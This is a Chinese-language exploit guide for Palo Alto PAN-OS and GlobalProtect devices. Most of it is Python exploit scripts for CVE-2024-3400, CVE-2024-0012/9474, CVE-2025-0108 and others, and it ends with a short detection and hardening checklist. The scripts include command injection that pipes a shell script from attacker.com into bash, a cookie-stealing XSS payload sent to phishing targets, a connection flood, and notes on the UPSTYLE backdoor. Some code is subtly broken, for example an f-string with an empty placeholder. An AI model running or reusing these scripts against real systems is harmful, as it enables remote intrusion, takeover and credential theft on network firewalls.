Palo Alto PAN-OS GlobalProtect 认证绕过 RCE SSL-VPN CVE漏洞链利用技术

nmap -sV -p 443,8443 <target>

# GlobalProtect 登录页面
curl -sk https://TARGET/ | grep -i "globalprotect\|palo alto"
curl -sk https://TARGET/global-protect/login.esp | head -50

# 管理接口
curl -sk https://TARGET:8443/ | grep -i "paloalto\|pan-os"

# API 探测
curl -sk https://TARGET/api/?type=op&cmd=<show><system><info></system></show>&key=APIKEY

/                               # GlobalProtect 首页
/ssl-vpn/hipreport.esp          # HIP 报告 (CVE-2024-3400 入口)
/global-protect/login.esp       # GlobalProtect 登录页
/global-protect/getconfig.esp   # 配置获取
/php/ztp_gate.php               # Zero Touch Provisioning (CVE-2024-0012)
/api/                           # PAN-OS XML API
:8443/                          # 管理接口
:8443/php/                      # 管理接口 PHP

import requests
import urllib3
urllib3.disable_warnings()

def detect_panos(host, port=443):
    base_url = f"https://{host}:{port}"

    # 检查 GlobalProtect
    try:
        resp = requests.get(f"{base_url}/global-protect/login.esp",
                            verify=False, timeout=5)
        if resp.status_code == 200:
            print("[+] GlobalProtect login page detected")
            if "Palo Alto" in resp.text:
                print("[+] PAN-OS confirmed")
    except:
        pass

    # 检查 HIP 报告端点 (CVE-2024-3400)
    try:
        resp = requests.post(f"{base_url}/ssl-vpn/hipreport.esp",
                             verify=False, timeout=5)
        print(f"[*] HIP report endpoint: {resp.status_code}")
    except:
        pass

    # 检查管理接口
    try:
        resp = requests.get(f"https://{host}:8443/",
                            verify=False, timeout=5)
        if resp.status_code == 200:
            print("[+] Management interface detected on 8443")
    except:
        pass

detect_panos("192.168.1.1")

Stage 1: SESSID 目录穿越
  POST /ssl-vpn/hipreport.esp
  Cookie: SESSID=../../../opt/panlogs/tmp/device_telemetry/minute/hello`{cmd}`
  → 在设备上创建包含恶意命令的文件

Stage 2: 命令注入
  Telemetry 处理逻辑自动遍历目录
  → subprocess.Popen("curl ... @" + filename, shell=True)
  → 恶意文件名中的反引号命令被执行 → Root RCE

import requests
import urllib3
urllib3.disable_warnings()

def exploit_cve_2024_3400(host, port=443, cmd="id"):
    """
    CVE-2024-3400 — GlobalProtect 预认证 RCE
    通过 SESSID 目录穿越 + 文件名命令注入
    """
    base_url = f"https://{host}:{port}"

    # 构造恶意 SESSID
    # 目录穿越到 telemetry 目录，文件名包含反引号命令注入
    malicious_sessid = (
        "../../../opt/panlogs/tmp/device_telemetry/minute/hello"
        + f"`{cmd}`"
    )

    headers = {
        "Cookie": f"SESSID={malicious_sessid}",
        "Content-Type": "application/x-www-form-urlencoded",
    }

    data = "client-type=1&protocol-version=p1&clientos=Windows&clientosversion=10&hostname=test&clientgpversion=1.0&client-ip=127.0.0.1&client-ipv6=&user=&domain=&computer=&client-id=12345&state=connected"

    resp = requests.post(
        f"{base_url}/ssl-vpn/hipreport.esp",
        headers=headers,
        data=data,
        verify=False,
        timeout=10
    )

    print(f"[*] CVE-2024-3400 exploit sent: {resp.status_code}")
    print(f"[*] Command: {cmd}")
    print(f"[*] Wait for telemetry processing (typically 1-5 minutes)")

exploit_cve_2024_3400("192.168.1.1", cmd="curl http://attacker.com/shell.sh|bash")

UPSTYLE 后门机制:
1. 写入 /usr/lib/python3.6/site-packages/system.pth
   → Python .pth 文件自动执行机制
2. 读取 sslvpn_ngx_error.log 中的命令
3. 执行命令，输出写入 bootstrap.min.css
4. 15 秒后恢复原始 CSS 内容
5. 备份机制: cron 定时 wget C2 策略

import requests
import urllib3
urllib3.disable_warnings()

def exploit_cve_2024_0012(host, port=443):
    """
    CVE-2024-0012 — 管理接口认证绕过
    通过 .js.map 后缀绕过 Nginx X-PAN-AUTHCHECK 检查
    """
    base_url = f"https://{host}:{port}"

    # 关键: URL 路径末尾添加 .js.map
    # 使 Nginx 不设置 X-PAN-AUTHCHECK: on
    bypass_paths = [
        "/php/ztp_gate.php/.js.map",
        "/php/createRemoteAppwebSession.php/.js.map",
        "/api/.js.map",
    ]

    for path in bypass_paths:
        resp = requests.get(f"{base_url}{path}",
                            verify=False, timeout=5)
        print(f"[*] {path}: {resp.status_code}")
        if resp.status_code == 200:
            print(f"[+] Auth bypass confirmed!")
            print(f"[*] Response: {resp.text[:300]}")

exploit_cve_2024_0012("192.168.1.1")

import requests
import urllib3
urllib3.disable_warnings()

def exploit_full_chain(host, port=443, cmd="id"):
    """
    完整攻击链: CVE-2024-0012 (认证绕过) + CVE-2024-9474 (Root 提权)
    """
    base_url = f"https://{host}:{port}"

    # Step 1: 认证绕过 (CVE-2024-0012)
    # 通过 .js.map 后缀绕过认证
    bypass_url = f"{base_url}/php/createRemoteAppwebSession.php/.js.map"

    # Step 2: 命令注入 (CVE-2024-9474)
    # 在 user 参数中注入反引号命令
    inject_payload = {
        "user": f"`{cmd}`",
        "password": "test",
    }

    resp = requests.post(bypass_url,
                         data=inject_payload,
                         verify=False,
                         timeout=10)

    if resp.status_code == 200:
        print(f"[+] CVE-2024-0012 + CVE-2024-9474 chain exploited!")
        print(f"[*] Response: {resp.text[:500]}")
    else:
        print(f"[-] Exploit failed: {resp.status_code}")

exploit_full_chain("192.168.1.1", cmd="cat /etc/passwd")

def exploit_cve_2025_0108(host, port=443, cmd="id"):
    """
    CVE-2025-0108 — Nginx/Apache 路径混淆认证绕过
    """
    base_url = f"https://{host}:{port}"

    # 路径混淆 payload
    # Nginx 解析为根路径，Apache 保持原样
    bypass_paths = [
        "/unauth/..%2fphp/createRemoteAppwebSession.php",
        "/unauth/..%2f..%2fphp/ztp_gate.php",
        "/%252e%252e/php/createRemoteAppwebSession.php",
    ]

    for path in bypass_paths:
        resp = requests.get(f"{base_url}{path}",
                            verify=False, timeout=5)
        print(f"[*] {path}: {resp.status_code}")

    # 结合 CVE-2024-9474 提权
    inject_url = f"{base_url}/unauth/..%2fphp/createRemoteAppwebSession.php"
    resp = requests.post(inject_url,
                         data={"user": f"`{cmd}`", "password": "test"},
                         verify=False, timeout=10)
    if resp.status_code == 200:
        print(f"[+] CVE-2025-0108 + CVE-2024-9474 chain exploited!")

exploit_cve_2025_0108("192.168.1.1")

def exploit_cve_2024_9463(host, port=443, cmd="id"):
    """
    CVE-2024-9463 — 路径验证 OS 命令注入
    """
    base_url = f"https://{host}:{port}"

    # 路径注入 payload
    # 在路径参数中注入 shell 命令
    inject_url = f"{base_url}/API/"
    payload = {
        "type": "config",
        "action": "set",
        "xpath": f"/devices/entry[@name='localhost.localdomain']/device-group/entry[@name='test']",
        "element": f"<devices><entry name='localhost.localdomain'><device-group><entry name='test'><address><entry name='test'><ip-netmask>127.0.0.1/32`{cmd}`</ip-netmask></entry></address></entry></device-group></entry></devices>",
    }

    resp = requests.post(inject_url, data=payload, verify=False, timeout=10)
    print(f"[*] CVE-2024-9463 exploit: {resp.status_code}")

exploit_cve_2024_9463("192.168.1.1")

def exploit_cve_2026_0300(host, port=443):
    """
    CVE-2026-0300 — Captive Portal 缓冲区溢出 RCE
    注意: 实际利用需要精确的内存布局控制
    """
    base_url = f"https://{host}:{port}"

    # Captive Portal 端点
    # 构造超长请求触发缓冲区溢出
    overflow_payload = "A" * 8192

    resp = requests.post(
        f"{base_url}/ssl-vpn/login.esp",
        data={"user": overflow_payload, "password": "test"},
        verify=False,
        timeout=10
    )
    print(f"[*] CVE-2026-0300 exploit sent: {resp.status_code}")
    print("[*] Monitor for service crash/restart")

exploit_cve_2026_0300("192.168.1.1")

def exploit_cve_2022_0778(host, port=443):
    """
    CVE-2022-0778 — OpenSSL 无限循环 DoS
    通过发送畸形 TLS 握手触发 CPU 耗尽
    """
    import ssl
    import socket

    # 需要构造包含畸形椭圆曲线参数的 TLS ClientHello
    # 实际利用需要自定义 TLS 握手包
    print("[*] CVE-2022-0778 requires custom TLS ClientHello")
    print("[*] Craft certificate with non-prime field order")
    print("[*] Monitor CPU utilization on target")

    # 简单的连接洪泛作为辅助 DoS
    for i in range(100):
        try:
            context = ssl.create_default_context()
            context.check_hostname = False
            context.verify_mode = ssl.CERT_NONE
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(2)
            ssock = context.wrap_socket(sock, server_hostname=host)
            ssock.connect((host, port))
        except:
            pass

    print("[*] Connection flood sent")

exploit_cve_2022_0778("192.168.1.1")

def exploit_cve_2023_0004(host, port=8443):
    """
    CVE-2023-0004 — 管理接口反射型 XSS
    需要诱导管理员点击恶意链接
    """
    base_url = f"https://{host}:{port}"

    # XSS payload
    xss_payload = '<script>document.location="http://attacker.com/steal?c="+document.cookie</script>'

    # 构造包含 XSS 的 URL
    malicious_url = f"{base_url}/php/{}&param={xss_payload}"

    print(f"[*] XSS payload URL:")
    print(f"    {malicious_url}")
    print(f"[*] Deliver to admin via phishing/social engineering")

exploit_cve_2023_0004("192.168.1.1")

CVE-2024-3400 (GlobalProtect 预认证 RCE)
    ↓ SESSID 目录穿越 + 文件名命令注入
Root 权限命令执行
    ↓ 部署 UPSTYLE 后门
持久化访问 + 凭据窃取

CVE-2024-0012 (管理接口认证绕过)
    ↓ .js.map 后缀绕过 Nginx 认证
CVE-2024-9474 (权限提升到 Root)
    ↓ createRemoteAppwebSession 反引号注入
完全控制防火墙 → 修改策略/窃取配置/横向移动

CVE-2025-0108 (Nginx/Apache 路径混淆)
    ↓ /unauth/..%2f 绕过认证
CVE-2024-9474 (权限提升)
    ↓ 同上
完全控制防火墙

2017-2019: 直接 RCE 时代
  CVE-2017-15944 (管理接口 RCE)
  CVE-2019-1579 (GlobalProtect RCE)
      |
2020-2021: 认证绕过 + RCE 链开始
  CVE-2020-2021 (SAML 绕过)
  CVE-2021-3064 (管理接口 RCE 零日)
      |
2024: PAN-OS 漏洞年
  CVE-2024-3400 (GlobalProtect 预认证 RCE)
  CVE-2024-0012 + CVE-2024-9474 (认证绕过 + 提权)
      |
2025: 攻击同类原语
  CVE-2025-0108 + CVE-2024-9474 (新绕过 + 旧提权)
      |
2026: 新攻击面
  CVE-2026-0300 (Captive Portal 缓冲区溢出零日)

# CVE-2024-3400 检测
grep "unmarshal session" /var/log/pan/gpsvc.log | grep -v "GUID格式"
grep "\.\./" /var/log/pan/gpsvc.log
grep "base64\|bash\|echo" /var/log/pan/gpsvc.log

# CVE-2024-0012 检测
grep "\.js\.map" /var/log/pan/webserver.log
grep "X-PAN-AUTHCHECK.*off" /var/log/pan/webserver.log
grep "ztp_gate.php" /var/log/pan/webserver.log

# CVE-2024-9474 检测
grep "createRemoteAppwebSession" /var/log/pan/webserver.log | grep -v "正常用户"

# UPSTYLE 后门检测
ls -la /usr/lib/python3.6/site-packages/system.pth
grep "crond\|wget\|bash" /var/log/syslog-system.log

# 异常出站连接
grep "crond" /var/log/syslog-system.log | grep "wget"

[ ] 确认 PAN-OS 版本与已安装补丁
    - show system info
    - 对比 Palo Alto 安全公告

[ ] 排查 CVE-2024-3400 (GlobalProtect RCE)
    - 检查 gpsvc.log 中的异常 SESSID
    - 检查 telemetry 目录中的异常文件
    - 扫描 UPSTYLE 后门

[ ] 排查 CVE-2024-0012 (管理接口认证绕过)
    - 检查 webserver.log 中的 .js.map 请求
    - 审计管理接口访问日志
    - 检查是否有异常管理员会话

[ ] 排查 CVE-2024-9474 (Root 提权)
    - 检查 createRemoteAppwebSession 调用
    - 审计 PHP session 创建记录
    - 检查 /var/appweb/ 下的异常文件

[ ] 排查 CVE-2025-0108 (路径混淆)
    - 检查 URL 中的 %252e 编码
    - 检查 /unauth/ 路径访问

[ ] 排查 CVE-2026-0300 (Captive Portal)
    - 检查 Captive Portal 日志异常
    - 监控服务崩溃/重启记录

[ ] 排查 UPSTYLE 后门
    - 检查 system.pth 文件
    - 检查 cron 定时任务
    - 扫描异常出站连接

[ ] 网络隔离与加固
    - 管理接口仅内网可达
    - 启用 MFA
    - 升级到最新 PAN-OS 版本
    - 启用 Threat Prevention 签名

[ ] PAN-OS 已升级到最新稳定版本
[ ] GlobalProtect 已应用所有安全补丁
[ ] 管理接口仅内网可达，不暴露于互联网
[ ] 管理接口使用强密码 + MFA
[ ] 已检查并清除 UPSTYLE 后门
[ ] Threat Prevention 签名已更新
[ ] 日志已启用并远程收集
[ ] 定期进行漏洞扫描
[ ] 实施网络分段策略
[ ] 建立应急响应预案